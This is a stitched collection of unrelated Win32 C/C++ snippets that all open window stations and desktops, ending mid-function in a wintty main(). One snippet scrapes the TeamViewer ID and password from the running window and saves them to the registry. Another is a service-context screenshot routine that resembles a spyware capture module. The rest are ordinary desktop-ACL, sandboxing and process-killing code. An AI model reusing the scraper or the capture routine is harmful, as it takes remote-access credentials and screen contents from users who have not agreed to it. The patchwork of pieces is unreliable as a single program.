BOOL CALLBACK EnumWindowStationsFunc( LPSTR lpstr, LPARAM lParam ) /*++ Routine Description: Callback function for windowstation enumeration. Arguments: lpstr - windowstation name lParam - ** not used ** Return Value: TRUE - continues the enumeration --*/ { PTASK_LIST_ENUM te = (PTASK_LIST_ENUM)lParam; HWINSTA hwinsta; HWINSTA hwinstaSave; DWORD ec; // // open the windowstation // hwinsta = OpenWindowStation( lpstr, FALSE, MAXIMUM_ALLOWED ); if (!hwinsta) { return FALSE; } // // save the current windowstation // hwinstaSave = GetProcessWindowStation(); // // change the context to the new windowstation // if (!SetProcessWindowStation( hwinsta )) { ec = GetLastError(); SetProcessWindowStation( hwinstaSave ); CloseWindowStation( hwinsta ); return TRUE; } te->lpWinsta = _strdup( lpstr ); // // enumerate all the desktops for this windowstation // EnumDesktops( hwinsta, EnumDesktopsFunc, lParam ); // // restore the context to the previous windowstation // if (hwinsta != hwinstaSave) { SetProcessWindowStation( hwinstaSave ); CloseWindowStation( hwinsta ); } // // continue the enumeration // return TRUE; }
BOOL KillProcess( PTASK_LIST tlist, BOOL fForce ) { HANDLE hProcess; HDESK hdeskSave; HDESK hdesk; HWINSTA hwinsta; HWINSTA hwinstaSave; if (fForce || !tlist->hwnd) { hProcess = OpenProcess( PROCESS_ALL_ACCESS, FALSE, tlist->dwProcessId ); if (hProcess) { hProcess = OpenProcess( PROCESS_ALL_ACCESS, FALSE, tlist->dwProcessId ); if (hProcess == NULL) { return FALSE; } if (!TerminateProcess( hProcess, 1 )) { CloseHandle( hProcess ); return FALSE; } CloseHandle( hProcess ); return TRUE; } } // // open the windowstation // hwinsta = OpenWindowStation( tlist->lpWinsta, FALSE, MAXIMUM_ALLOWED ); if (!hwinsta) { return FALSE; } // // save the current windowstation // hwinstaSave = GetProcessWindowStation(); // // change the context to the new windowstation // SetProcessWindowStation( hwinsta ); // // open the desktop // hdesk = OpenDesktop( tlist->lpDesk, 0, FALSE, MAXIMUM_ALLOWED ); if (!hdesk) { return FALSE; } // // save the current desktop // hdeskSave = GetThreadDesktop( GetCurrentThreadId() ); // // change the context to the new desktop // SetThreadDesktop( hdesk ); // // kill the process // PostMessage( tlist->hwnd, WM_CLOSE, 0, 0 ); // // restore the previous desktop // if (hdesk != hdeskSave) { SetThreadDesktop( hdeskSave ); CloseDesktop( hdesk ); } // // restore the context to the previous windowstation // if (hwinsta != hwinstaSave) { SetProcessWindowStation( hwinstaSave ); CloseWindowStation( hwinsta ); } return TRUE; }
/* * propOpenCurrentObject * * Purpose: * * Opens currently viewed object depending on type * */ BOOL propOpenCurrentObject( _In_ PROP_OBJECT_INFO *Context, _Inout_ PHANDLE phObject, _In_ ACCESS_MASK DesiredAccess ) { BOOL bResult; HANDLE hObject, hDirectory; NTSTATUS status; UNICODE_STRING ustr; OBJECT_ATTRIBUTES obja; IO_STATUS_BLOCK iost; bResult = FALSE; if (Context == NULL) { return bResult; } //we don't know who is it if (Context->TypeIndex == TYPE_UNKNOWN) { SetLastError(ERROR_UNSUPPORTED_TYPE); return bResult; } if (phObject == NULL) { SetLastError(ERROR_OBJECT_NOT_FOUND); return bResult; } if (Context->lpObjectName == NULL) { SetLastError(ERROR_OBJECT_NOT_FOUND); return bResult; } if (Context->lpCurrentObjectPath == NULL) { SetLastError(ERROR_OBJECT_NOT_FOUND); return bResult; } //ports not supported if ( (Context->TypeIndex == TYPE_PORT) || (Context->TypeIndex == TYPE_FLTCOMM_PORT) || (Context->TypeIndex == TYPE_FLTCONN_PORT) || (Context->TypeIndex == TYPE_WAITABLEPORT) ) { SetLastError(ERROR_UNSUPPORTED_TYPE); return bResult; } hDirectory = NULL; if (DesiredAccess == 0) { DesiredAccess = 1; } //handle directory type if (Context->TypeIndex == TYPE_DIRECTORY) { //if this is root, then root hDirectory = NULL if (_strcmpi(Context->lpObjectName, L"\\") != 0) { //else open directory that holds this object hDirectory = supOpenDirectoryForObject(Context->lpObjectName, Context->lpCurrentObjectPath); if (hDirectory == NULL) { SetLastError(ERROR_OBJECT_NOT_FOUND); return bResult; } } //open object in directory RtlSecureZeroMemory(&ustr, sizeof(ustr)); RtlInitUnicodeString(&ustr, Context->lpObjectName); InitializeObjectAttributes(&obja, &ustr, OBJ_CASE_INSENSITIVE, hDirectory, NULL); hObject = NULL; status = NtOpenDirectoryObject(&hObject, DesiredAccess, &obja); //DIRECTORY_QUERY for query SetLastError(RtlNtStatusToDosError(status)); bResult = ((NT_SUCCESS(status)) && (hObject != NULL)); if (bResult && phObject) { *phObject = hObject; } //dont forget to close directory handle if it was opened if (hDirectory != NULL) { NtClose(hDirectory); } return bResult; } //handle window station type if (Context->TypeIndex == TYPE_WINSTATION) { hObject = OpenWindowStation(Context->lpObjectName, FALSE, DesiredAccess); //WINSTA_READATTRIBUTES for query bResult = (hObject != NULL); if (bResult && phObject) { *phObject = hObject; } return bResult; } //handle desktop type if (Context->TypeIndex == TYPE_DESKTOP) { hObject = OpenDesktop(Context->lpObjectName, 0, FALSE, DesiredAccess); //DESKTOP_READOBJECTS for query bResult = (hObject != NULL); if (bResult && phObject) { *phObject = hObject; } return bResult; } //open directory which current object belongs hDirectory = supOpenDirectoryForObject(Context->lpObjectName, Context->lpCurrentObjectPath); if (hDirectory == NULL) { SetLastError(ERROR_OBJECT_NOT_FOUND); return bResult; } RtlSecureZeroMemory(&ustr, sizeof(ustr)); RtlInitUnicodeString(&ustr, Context->lpObjectName); InitializeObjectAttributes(&obja, &ustr, OBJ_CASE_INSENSITIVE, hDirectory, NULL); status = STATUS_UNSUCCESSFUL; hObject = NULL; //handle supported objects switch (Context->TypeIndex) { case TYPE_DEVICE: //FILE_OBJECT status = NtCreateFile(&hObject, DesiredAccess, &obja, &iost, NULL, 0, FILE_SHARE_DELETE | FILE_SHARE_READ | FILE_SHARE_WRITE, FILE_OPEN, 0, NULL, 0);//generic access rights break; case TYPE_MUTANT: status = NtOpenMutant(&hObject, DesiredAccess, &obja); //MUTANT_QUERY_STATE for query break; case TYPE_KEY: status = NtOpenKey(&hObject, DesiredAccess, &obja); //KEY_QUERY_VALUE for query break; case TYPE_SEMAPHORE: status = NtOpenSemaphore(&hObject, DesiredAccess, &obja); //SEMAPHORE_QUERY_STATE for query break; case TYPE_TIMER: status = NtOpenTimer(&hObject, DesiredAccess, &obja); //TIMER_QUERY_STATE for query break; case TYPE_EVENT: status = NtOpenEvent(&hObject, DesiredAccess, &obja); //EVENT_QUERY_STATE for query break; case TYPE_EVENTPAIR: status = NtOpenEventPair(&hObject, DesiredAccess, &obja); //generic access break; case TYPE_SYMLINK: status = NtOpenSymbolicLinkObject(&hObject, DesiredAccess, &obja); //SYMBOLIC_LINK_QUERY for query break; case TYPE_IOCOMPLETION: status = NtOpenIoCompletion(&hObject, DesiredAccess, &obja); //IO_COMPLETION_QUERY_STATE for query break; case TYPE_SECTION: status = NtOpenSection(&hObject, DesiredAccess, &obja); //SECTION_QUERY for query break; case TYPE_JOB: status = NtOpenJobObject(&hObject, DesiredAccess, &obja); //JOB_OBJECT_QUERY for query break; } SetLastError(RtlNtStatusToDosError(status)); NtClose(hDirectory); bResult = ((NT_SUCCESS(status)) && (hObject != NULL)); if (bResult && phObject) { *phObject = hObject; } return bResult; }
// outType = 1 : console, 2: file, 3: buffer bool Screen::takeScreenshot(const int outType, const char *filename, char **buffer, DWORD &size) { if (outType < 1 || outType > 3) { return false; } bool result = false; HBITMAP handleBitmapScreen = 0; HDC handleMemoryDC = 0; HWND hWnd = 0; HDC handleDeviceContextOfWindow = 0; // open the WinSta0 as some services are attached to a different window station. HWINSTA hWindowStation = hWindowStation = OpenWindowStation( "WinSta0", FALSE, WINSTA_ALL_ACCESS ); if( !hWindowStation ) { if( RevertToSelf() ) hWindowStation = OpenWindowStation( "WinSta0", FALSE, WINSTA_ALL_ACCESS ); } // if we cant open the defaut input station we wont be able to take a screenshot if( !hWindowStation ) { MYPRINTF( "[SCREENSHOT] screenshot: Couldnt get the WinSta0 Window Station"); return false; } // get the current process's window station so we can restore it later on. HWINSTA hOrigWindowStation = GetProcessWindowStation(); // set the host process's window station to this sessions default input station we opened if( !SetProcessWindowStation( hWindowStation ) ) { MYPRINTF( "[SCREENSHOT] screenshot: SetProcessWindowStation failed" ); return false; } // grab a handle to the default input desktop (e.g. Default or WinLogon) //HDESK hInputDesktop = OpenDesktop("Default", 0, FALSE, MAXIMUM_ALLOWED ); HDESK hInputDesktop = OpenInputDesktop( 0, FALSE, MAXIMUM_ALLOWED ); if( !hInputDesktop ) { MYPRINTF( "[SCREENSHOT] screenshot: OpenInputDesktop failed" ); return false; } //if (SwitchDesktop(hInputDesktop) == 0){ // MYPRINTF( "[SCREENSHOT] screenshot: SwitchDesktop failed" ); // return false; //} // get the threads current desktop so we can restore it later on HDESK hOrigDesktop = GetThreadDesktop( GetCurrentThreadId() ); // set this threads desktop to that of this sessions default input desktop on WinSta0 SetThreadDesktop( hInputDesktop ); // and now we can grab a handle to this input desktop HWND hDesktopWnd = GetDesktopWindow(); int screenWidth = GetSystemMetrics (SM_CXSCREEN); int screenHeight = GetSystemMetrics (SM_CYSCREEN); MYPRINTF("width: %d, height: %d\n", screenWidth, screenHeight); // Retrieve the handle to a display device context for the client // area of the window. HDC handleDeviceContextOfScreen = GetDC(hDesktopWnd); //HDC handleDeviceContextOfScreen = CreateDC("DISPLAY",NULL,NULL,NULL); if (handleDeviceContextOfScreen == 0) { MYPRINTF("GetDC(0) has failed: %d", GetLastError()); goto done; } if (outType == 1) { // print to console //The source DC is the entire screen and the destination DC is the current window (HWND) // Get the client area for size calculation HWND hWnd = GetForegroundWindow(); HDC handleDeviceContextOfWindow = GetDC(hWnd); if (handleDeviceContextOfScreen == 0) { MYPRINTF("GetDC(hWnd) has failed: %d", GetLastError()); goto done; } RECT rcClient; GetClientRect(hWnd, &rcClient); //This is the best stretch mode SetStretchBltMode(handleDeviceContextOfWindow, HALFTONE); if(!StretchBlt(handleDeviceContextOfWindow, 0,0, rcClient.right, rcClient.bottom, handleDeviceContextOfScreen, 0,0, screenWidth, screenHeight, SRCCOPY)) { MYPRINTF("StretchBlt has failed: %d", GetLastError()); goto done; } result = true; } else { // Create a compatible DC which is used in a BitBlt from the window DC handleMemoryDC = CreateCompatibleDC(handleDeviceContextOfScreen); if(!handleMemoryDC) { MYPRINTF("CreateCompatibleDC has failed: %d", GetLastError()); goto done; } BITMAPINFO bmpinfo; ZeroMemory(&bmpinfo,sizeof(bmpinfo)); LONG dwWidth = GetDeviceCaps(handleDeviceContextOfScreen, HORZRES); LONG dwHeight = GetDeviceCaps(handleDeviceContextOfScreen, VERTRES); //dwBPP = GetDeviceCaps(hScreen, BITSPIXEL); LONG dwBPP = 24; LONG dwNumColors = GetDeviceCaps(handleDeviceContextOfScreen, NUMCOLORS); LPVOID pBits; bmpinfo.bmiHeader.biSize = sizeof(BITMAPINFOHEADER); bmpinfo.bmiHeader.biWidth = dwWidth; bmpinfo.bmiHeader.biHeight = dwHeight; bmpinfo.bmiHeader.biPlanes = 1; bmpinfo.bmiHeader.biBitCount = (WORD) dwBPP; bmpinfo.bmiHeader.biCompression = BI_RGB; bmpinfo.bmiHeader.biSizeImage = 0; bmpinfo.bmiHeader.biXPelsPerMeter = 0; bmpinfo.bmiHeader.biYPelsPerMeter = 0; bmpinfo.bmiHeader.biClrUsed = dwNumColors; bmpinfo.bmiHeader.biClrImportant = dwNumColors; handleBitmapScreen = CreateDIBSection(handleDeviceContextOfScreen, &bmpinfo, DIB_PAL_COLORS, &pBits, NULL, 0); /** // Create a compatible bitmap from the Window DC handleBitmapScreen = CreateCompatibleBitmap(handleDeviceContextOfScreen, screenWidth, screenHeight); if(!handleBitmapScreen) { MYPRINTF("CreateCompatibleBitmap Failed: %d", GetLastError()); goto done; } */ // Select the compatible bitmap into the compatible memory DC. if (SelectObject(handleMemoryDC, handleBitmapScreen) == 0) { MYPRINTF("SelectObject Failed: %d", GetLastError()); goto done; } // Bit block transfer into our compatible memory DC. if(!BitBlt(handleMemoryDC, 0, 0, screenWidth, screenHeight, handleDeviceContextOfScreen, 0, 0, SRCCOPY)) { MYPRINTF("BitBlt has failed: %d", GetLastError()); goto done; } BITMAP bmpScreen; // Get the BITMAP from the HBITMAP if (GetObject(handleBitmapScreen, sizeof(BITMAP), &bmpScreen) == 0) { MYPRINTF("GetObject has failed: %d", GetLastError()); goto done; } BITMAPFILEHEADER bmfHeader; BITMAPINFOHEADER bi; bi.biSize = sizeof(BITMAPINFOHEADER); bi.biWidth = bmpScreen.bmWidth; bi.biHeight = bmpScreen.bmHeight; bi.biPlanes = 1; bi.biBitCount = 32; bi.biCompression = BI_RGB; bi.biSizeImage = 0; bi.biXPelsPerMeter = 0; bi.biYPelsPerMeter = 0; bi.biClrUsed = 0; bi.biClrImportant = 0; DWORD dwBmpSize = ((bmpScreen.bmWidth * bi.biBitCount + 31) / 32) * 4 * bmpScreen.bmHeight; HANDLE hData = GlobalAlloc(GHND,dwBmpSize); char *bmpdata = (char *)GlobalLock(hData); // Starting with 32-bit Windows, GlobalAlloc and LocalAlloc are implemented as wrapper functions that // call HeapAlloc using a handle to the process's default heap. Therefore, GlobalAlloc and LocalAlloc // have greater overhead than HeapAlloc. HANDLE hDIB = GlobalAlloc(GHND,dwBmpSize); char *lpbitmap = (char *)GlobalLock(hDIB); // Gets the "bits" from the bitmap and copies them into a buffer // which is pointed to by lpbitmap. //GetDIBits(handleDeviceContextOfWindow, handleBitmapScreen, 0, GetDIBits(handleDeviceContextOfScreen, handleBitmapScreen, 0, (UINT)bmpScreen.bmHeight, lpbitmap, (BITMAPINFO *)&bi, DIB_RGB_COLORS); // Add the size of the headers to the size of the bitmap to get the total file size DWORD dwSizeofDIB = dwBmpSize + sizeof(BITMAPFILEHEADER) + sizeof(BITMAPINFOHEADER); //Offset to where the actual bitmap bits start. bmfHeader.bfOffBits = (DWORD)sizeof(BITMAPFILEHEADER) + (DWORD)sizeof(BITMAPINFOHEADER); //Size of the file bmfHeader.bfSize = dwSizeofDIB; //bfType must always be BM for Bitmaps bmfHeader.bfType = 0x4D42; //BM DWORD dwBytesWritten = 0; UINT mybmpsize = dwBmpSize + sizeof(bi) + sizeof(bmfHeader); // put headers together to make a .bmp in memory memcpy(bmpdata, &bmfHeader, sizeof(bmfHeader)); memcpy(bmpdata + sizeof(bmfHeader), &bi, sizeof(bi)); memcpy(bmpdata + sizeof(bmfHeader) + sizeof(bi), lpbitmap, dwBmpSize); if (outType == 2) { // Now convert to JPEG if (bmp2jpegtofile((PBYTE)bmpdata, 70, filename ) == 0) { MYPRINTF("unable to write jpg"); } else { result = true; } } else { if (bmp2jpegtomemory((PBYTE)bmpdata, 70, (BYTE **)buffer, &size) == 0) { MYPRINTF("unable to write jpg"); } else { result = true; } } //Unlock and Free the DIB from the heap GlobalUnlock(hDIB); GlobalFree(hDIB); GlobalUnlock(hData); GlobalFree(hData); } //Clean up done: // restore the origional process's window station if( hOrigWindowStation ) SetProcessWindowStation( hOrigWindowStation ); // restore the threads origional desktop if( hOrigDesktop ) SetThreadDesktop( hOrigDesktop ); // close the WinSta0 window station handle we opened if( hWindowStation ) CloseWindowStation( hWindowStation ); // close this last to avoid a handle leak... if( hInputDesktop ) CloseDesktop( hInputDesktop ); DeleteObject(handleBitmapScreen); DeleteObject(handleMemoryDC); ReleaseDC(NULL,handleDeviceContextOfScreen); ReleaseDC(hWnd,handleDeviceContextOfWindow); return result; }
int main(int argc, char *argv[]){ struct tvIdParam idp; struct tvWindowParam wip; int tries=0; HDESK hDesk=NULL; HWINSTA hWinsta=NULL; char slogfile[128]; int error=0; snprintf(slogfile,128,"%s.log.txt",argv[0]); log_open(slogfile); //if(check_registry_key(REG_KEY_ID_NAME)){ // goto abort; //} /* Switch to the needed Desktop Station (in order to enumwindows */ hWinsta=OpenWindowStation("winsta0", // _In_ LPTSTR lpszWinSta, TRUE, // _In_ BOOL fInherit, WINSTA_ALL_ACCESS); // _In_ ACCESS_MASK dwDesiredAccess if(!hWinsta){ logify("OpenWindowStation",GetLastError(),EERRO); error++; goto abort; } else{ logify("OpenWindowStation",GetLastError(),ESUCC); } if( ! SetProcessWindowStation(hWinsta)){ logify("SetProcessWindowStation",GetLastError(),EERRO); error++; goto abort; }else{ logify("SetProcessWindowStation",GetLastError(),ESUCC); } /* Open the default Desktop */ hDesk=OpenInputDesktop(0,FALSE,GENERIC_READ); if(!hDesk){ logify("OpenInputDesktop",GetLastError(),EERRO); error++; goto abort; } else{ logify("OpenInputDesktop",GetLastError(),ESUCC); } while(tries < TIMEOUT || TIMEOUT==0){ wip.found=FALSE; wip.hWindow=NULL; *wip.sid=0; if( ! EnumDesktopWindows(hDesk,find_tvWindow,(LPARAM)&wip)){ error++; logify("EnumDesktopWindows",GetLastError(),EERRO); } else{ logify("EnumDesktopWindows",GetLastError(),ESUCC); } if(wip.found){ logify("TeamViewer found",GetLastError(),ESUCC); /* Reset param struct */ idp.count=0; idp.id=0; idp.pass=0; idp.idfound=FALSE; idp.passfound=FALSE; EnumChildWindows(wip.hWindow,find_tvId,(LPARAM)&idp); if(idp.idfound){ add_registry_key(REG_KEY_ID_NAME,idp.id); //printf("TeamViewer ID:%d\n",idp.id); if(idp.passfound){ add_registry_key(REG_KEY_PA_NAME,idp.pass); //printf("TeamViewer PASS:%d\n",idp.pass); } break; } } else { logify("TeamViewer not found",GetLastError(),EERRO); } Sleep(SLEEP); tries++; } abort: if(hDesk) CloseDesktop(hDesk); if(hWinsta) CloseWindowStation(hWinsta); log_close(); return error; }
DWORD GrantDesktopAccess( IN const WCHAR *accountName, IN const WCHAR *systemName ) { HWINSTA originalWindowStation; HWINSTA windowStation = NULL; HDESK desktop = NULL; DWORD status = ERROR_UNIDENTIFIED_ERROR; SID *sid = NULL; EXPLICIT_ACCESS newEa[2]; if (!accountName) return ERROR_INVALID_PARAMETER; originalWindowStation = GetProcessWindowStation(); if (!originalWindowStation) { return perror("GetProcessWindowStation"); } windowStation = OpenWindowStation( L"WinSta0", FALSE, READ_CONTROL | WRITE_DAC); if (!windowStation) { return perror("OpenWindowStation"); } if (!SetProcessWindowStation(windowStation)) { status = perror("SetProcessWindowStation"); goto cleanup; } desktop = OpenDesktop( TEXT("Default"), 0, FALSE, READ_CONTROL | WRITE_DAC | DESKTOP_WRITEOBJECTS | DESKTOP_READOBJECTS); if (!desktop) { status = perror("OpenDesktop"); goto cleanup; } if (!SetProcessWindowStation(originalWindowStation)) { status = perror("SetProcessWindowStation(Original)"); goto cleanup; } status = GetAccountSid(accountName, systemName, &sid); if (ERROR_SUCCESS != status) { perror2(status, "GetAccountSid"); goto cleanup; } newEa[0].grfAccessPermissions = GENERIC_ACCESS; newEa[0].grfAccessMode = GRANT_ACCESS; newEa[0].grfInheritance = CONTAINER_INHERIT_ACE | INHERIT_ONLY_ACE | OBJECT_INHERIT_ACE; newEa[0].Trustee.MultipleTrusteeOperation = NO_MULTIPLE_TRUSTEE; newEa[0].Trustee.TrusteeForm = TRUSTEE_IS_SID; newEa[0].Trustee.TrusteeType = TRUSTEE_IS_USER; newEa[0].Trustee.ptstrName = (WCHAR *)sid; newEa[1] = newEa[0]; newEa[1].grfAccessPermissions = WINSTA_ALL; newEa[1].grfInheritance = NO_PROPAGATE_INHERIT_ACE; status = MergeWithExistingDacl(windowStation, 2, newEa); if (ERROR_SUCCESS != status) { perror2(status, "MergeWithExistingDacl(WindowStation)"); goto cleanup; } newEa[0].grfAccessPermissions = DESKTOP_ALL; newEa[0].grfAccessMode = GRANT_ACCESS; newEa[0].grfInheritance = 0; status = MergeWithExistingDacl(desktop, 1, newEa); if (ERROR_SUCCESS != status) { perror2(status, "MergeWithExistingDacl(Desktop)"); goto cleanup; } cleanup: if (desktop) CloseDesktop(desktop); if (windowStation) CloseWindowStation(windowStation); if (sid) LocalFree(sid); return ERROR_SUCCESS; }
ActivePet::ActivePet(wchar_t* user_password, std::wstring petname, FileEventLoop* files) : m_petname(petname), m_files(files), m_session(INVALID_HANDLE_VALUE), m_profile(INVALID_HANDLE_VALUE), m_job(CreateJobObject(NULL, NULL)), m_next_editable_name(1), m_ticks_while_invisible(0) { // Create a new logon session for the pet. std::wstring petRegistryPath = Constants::registryPets() + L"\\" + m_petname; RegKey petkey = RegKey::HKCU.open(petRegistryPath); std::wstring accountName = petkey.getValue(L"accountName"); std::wstring accountRegistryPath = Constants::registryAccounts() + L"\\" + accountName; RegKey accountKey = RegKey::HKCU.open(accountRegistryPath); std::wstring password = accountKey.getValue(L"password"); if (!LogonUser(accountName.c_str(), NULL, password.c_str(), LOGON32_LOGON_INTERACTIVE, LOGON32_PROVIDER_DEFAULT, &m_session)) { printf("LogonUser() failed: %d\n", GetLastError()); return; } // Tweak the Winsta0 and desktop ACLs to allow the pet to create windows. auto_buffer<PSID> logon_sid = GetLogonSID(m_session.get()); if (NULL == logon_sid.get()) { return; } auto_close<HWINSTA, &::CloseWindowStation> winsta0(OpenWindowStation(L"winsta0", FALSE, READ_CONTROL | WRITE_DAC)); if (NULL == winsta0.get()) { printf("OpenWindowStation() failed: %d\n", GetLastError()); return; } if (!AddAceToWindowStation(winsta0.get(), logon_sid.get())) { printf("AddAceToWindowStation() failed: %d", GetLastError()); return; } auto_close<HDESK, &::CloseDesktop> desktop(OpenDesktop(L"default", 0, FALSE, READ_CONTROL | WRITE_DAC | DESKTOP_WRITEOBJECTS | DESKTOP_READOBJECTS)); if (NULL == desktop.get()) { printf("OpenDesktop() failed: %d\n", GetLastError()); return; } if (!AddAceToDesktop(desktop.get(), logon_sid.get())) { printf("AddAceToDesktop() failed: %d\n", GetLastError()); return; } // Load the pet account's registry hive. wchar_t account[128] = {}; wcsncpy(account, accountName.c_str(), 128); PROFILEINFO profile = { sizeof(PROFILEINFO), 0, account }; if (!LoadUserProfile(m_session.get(), &profile)) { printf("LoadUserProfile() failed: %d\n", GetLastError()); return; } m_profile = profile.hProfile; // Initialize the pet job. if (NULL == m_job.get()) { printf("CreateJobObject() failed: %d\n", GetLastError()); return; } JOBOBJECT_BASIC_UI_RESTRICTIONS buir = { JOB_OBJECT_UILIMIT_HANDLES }; if (!SetInformationJobObject(m_job.get(), JobObjectBasicUIRestrictions, &buir, sizeof buir)) { printf("SetInformationJobObject() failed: %d\n", GetLastError()); } // Some apps fail to launch without access to the desktop window. if (!UserHandleGrantAccess(GetDesktopWindow(), m_job.get(), TRUE)) { printf("UserHandleGrantAccess() failed: %d\n", GetLastError()); } // Give apps access to all the standard cursors. if (!UserHandleGrantAccess(LoadCursor(NULL, IDC_ARROW), m_job.get(), TRUE)) { printf("UserHandleGrantAccess() failed: %d\n", GetLastError()); } if (!UserHandleGrantAccess(LoadCursor(NULL, IDC_IBEAM), m_job.get(), TRUE)) { printf("UserHandleGrantAccess() failed: %d\n", GetLastError()); } if (!UserHandleGrantAccess(LoadCursor(NULL, IDC_WAIT), m_job.get(), TRUE)) { printf("UserHandleGrantAccess() failed: %d\n", GetLastError()); } if (!UserHandleGrantAccess(LoadCursor(NULL, IDC_CROSS), m_job.get(), TRUE)) { printf("UserHandleGrantAccess() failed: %d\n", GetLastError()); } if (!UserHandleGrantAccess(LoadCursor(NULL, IDC_UPARROW), m_job.get(), TRUE)) { printf("UserHandleGrantAccess() failed: %d\n", GetLastError()); } if (!UserHandleGrantAccess(LoadCursor(NULL, IDC_SIZE), m_job.get(), TRUE)) { printf("UserHandleGrantAccess() failed: %d\n", GetLastError()); } if (!UserHandleGrantAccess(LoadCursor(NULL, IDC_ICON), m_job.get(), TRUE)) { printf("UserHandleGrantAccess() failed: %d\n", GetLastError()); } if (!UserHandleGrantAccess(LoadCursor(NULL, IDC_SIZENWSE), m_job.get(), TRUE)) { printf("UserHandleGrantAccess() failed: %d\n", GetLastError()); } if (!UserHandleGrantAccess(LoadCursor(NULL, IDC_SIZENESW), m_job.get(), TRUE)) { printf("UserHandleGrantAccess() failed: %d\n", GetLastError()); } if (!UserHandleGrantAccess(LoadCursor(NULL, IDC_SIZEWE), m_job.get(), TRUE)) { printf("UserHandleGrantAccess() failed: %d\n", GetLastError()); } if (!UserHandleGrantAccess(LoadCursor(NULL, IDC_SIZENS), m_job.get(), TRUE)) { printf("UserHandleGrantAccess() failed: %d\n", GetLastError()); } if (!UserHandleGrantAccess(LoadCursor(NULL, IDC_SIZEALL), m_job.get(), TRUE)) { printf("UserHandleGrantAccess() failed: %d\n", GetLastError()); } if (!UserHandleGrantAccess(LoadCursor(NULL, IDC_NO), m_job.get(), TRUE)) { printf("UserHandleGrantAccess() failed: %d\n", GetLastError()); } if (!UserHandleGrantAccess(LoadCursor(NULL, IDC_HAND), m_job.get(), TRUE)) { printf("UserHandleGrantAccess() failed: %d\n", GetLastError()); } if (!UserHandleGrantAccess(LoadCursor(NULL, IDC_APPSTARTING), m_job.get(), TRUE)) { printf("UserHandleGrantAccess() failed: %d\n", GetLastError()); } if (!UserHandleGrantAccess(LoadCursor(NULL, IDC_HELP), m_job.get(), TRUE)) { printf("UserHandleGrantAccess() failed: %d\n", GetLastError()); } // Setup the use records for the printers. std::set<std::wstring> servers; RegKey printers = RegKey::HKCU.open(L"Printers\\Connections"); for (int i = 0; true; ++i) { RegKey printer = printers.getSubKey(i); if (!printer.isGood()) { break; } std::wstring server = printer.getValue(L"Server"); if (servers.count(server) == 0) { std::wstring resource = server + L"\\IPC$"; auto_array<wchar_t> remote(resource.length() + 1); lstrcpy(remote.get(), resource.c_str()); USE_INFO_2 use = {}; use.ui2_remote = remote.get(); use.ui2_domainname = _wgetenv(L"USERDOMAIN"); use.ui2_username = _wgetenv(L"USERNAME");; use.ui2_password = user_password; use.ui2_asg_type = USE_WILDCARD; auto_impersonation impersonate(m_session.get()); DWORD arg_error; NET_API_STATUS error = NetUseAdd(NULL, 2, (BYTE*)&use, &arg_error); if (error) { printf("NetUseAdd() failed: %d\n", error); } else { servers.insert(server); } } } // Add the message handlers. //m_requestFolderPath = accountKey.getValue(Constants::petDataPathName()) + Constants::requestPath(); m_requestFolderPath = Constants::requestsPath(Constants::polarisDataPath(Constants::userProfilePath(accountName))); m_dispatcher = new MessageDispatcher(m_requestFolderPath); m_files->watch(m_requestFolderPath, m_dispatcher); m_dispatcher->add("sendmail",makeSendMailHandler()); // TODO m_dispatcher->add("GetOpenFileNameA", makeGetOpenFileNameAHandler(this)); m_dispatcher->add("GetOpenFileNameW", makeGetOpenFileNameWHandler(this)); m_dispatcher->add("GetClipboardData", makeGetClipboardDataHandler()); }
int main(int argc, char** argv) { char str[1024], *contitle = NULL; HANDLE hproc, thread; HANDLE hwinsta = NULL, hsavewinsta; HANDLE hdesk = NULL, hsavedesk = NULL; HANDLE conin, conout; HANDLE hstdin, hstdout, hstderr, hdup; feedback_args_t feed; DWORD conmode; DWORD newinmode = 0, notinmode = 0; DWORD newoutmode = 0, notoutmode = 0; DWORD tid; DWORD len; DWORD timeout = INFINITE; BOOL isservice = FALSE; char *arg0 = argv[0]; while (--argc) { ++argv; if (**argv == '/' || **argv == '-') { switch (tolower((*argv)[1])) { case 'c': notinmode |= ENABLE_LINE_INPUT; break; case 'l': newinmode |= ENABLE_LINE_INPUT; break; case 'q': notinmode |= ENABLE_ECHO_INPUT; break; case 'e': newinmode |= ENABLE_ECHO_INPUT; break; case 'u': notinmode |= ENABLE_PROCESSED_INPUT; break; case 'p': newinmode |= ENABLE_PROCESSED_INPUT; break; case 'n': notoutmode |= ENABLE_WRAP_AT_EOL_OUTPUT; break; case 'w': newoutmode |= ENABLE_WRAP_AT_EOL_OUTPUT; break; case 'r': notoutmode |= ENABLE_PROCESSED_OUTPUT; break; case 'f': newoutmode |= ENABLE_PROCESSED_OUTPUT; break; case 'o': if (*(argv + 1) && *(argv + 1)[0] != '-') { *(++argv); timeout = atoi(*argv) / 1000; --argc; } else { timeout = 0; } break; case 'v': verbose = TRUE; break; case 't': contitle = *(++argv); --argc; break; case '?': printf(options, arg0); exit(1); default: printf("wintty option %s not recognized, use -? for help.\n\n", *argv); exit(1); } } else { printf("wintty argument %s not understood, use -? for help.\n\n", *argv); exit(1); } } hproc = GetCurrentProcess(); hsavewinsta = GetProcessWindowStation(); if (!hsavewinsta || hsavewinsta == INVALID_HANDLE_VALUE) { printerr("GetProcessWindowStation() failed (%d)\n", GetLastError()); } else if (!GetUserObjectInformation(hsavewinsta, UOI_NAME, str, sizeof(str), &len)) { printerr("GetUserObjectInfoformation(hWinSta) failed (%d)\n", GetLastError()); } else if (strnicmp(str, "Service-", 8) == 0) { printerr("WindowStation Name %s is a service\n", str); isservice = TRUE; } SetLastError(0); hstdin = GetStdHandle(STD_INPUT_HANDLE); if (!hstdin || hstdin == INVALID_HANDLE_VALUE) { printerr("GetStdHandle(STD_INPUT_HANDLE) failed (%d)\n", GetLastError()); } else if (DuplicateHandle(hproc, hstdin, hproc, &hdup, 0, isservice, DUPLICATE_SAME_ACCESS)) { CloseHandle(hstdin); hstdin = hdup; } else { printerr("DupHandle(stdin [%x]) failed (%d)\n", hstdin, GetLastError()); } hstdout = GetStdHandle(STD_OUTPUT_HANDLE); if (!hstdout || hstdout == INVALID_HANDLE_VALUE) { printerr("GetStdHandle(STD_OUTPUT_HANDLE) failed (%d)\n", GetLastError()); } else if (DuplicateHandle(hproc, hstdout, hproc, &hdup, 0, isservice, DUPLICATE_SAME_ACCESS)) { CloseHandle(hstdout); hstdout = hdup; } else { printerr("DupHandle(stdout [%x]) failed (%d)\n", hstdout, GetLastError()); } hstderr = GetStdHandle(STD_ERROR_HANDLE); if (!hstderr || hstderr == INVALID_HANDLE_VALUE) { printerr("GetStdHandle(STD_ERROR_HANDLE) failed (%d)\n", GetLastError()); } else if (DuplicateHandle(hproc, hstderr, 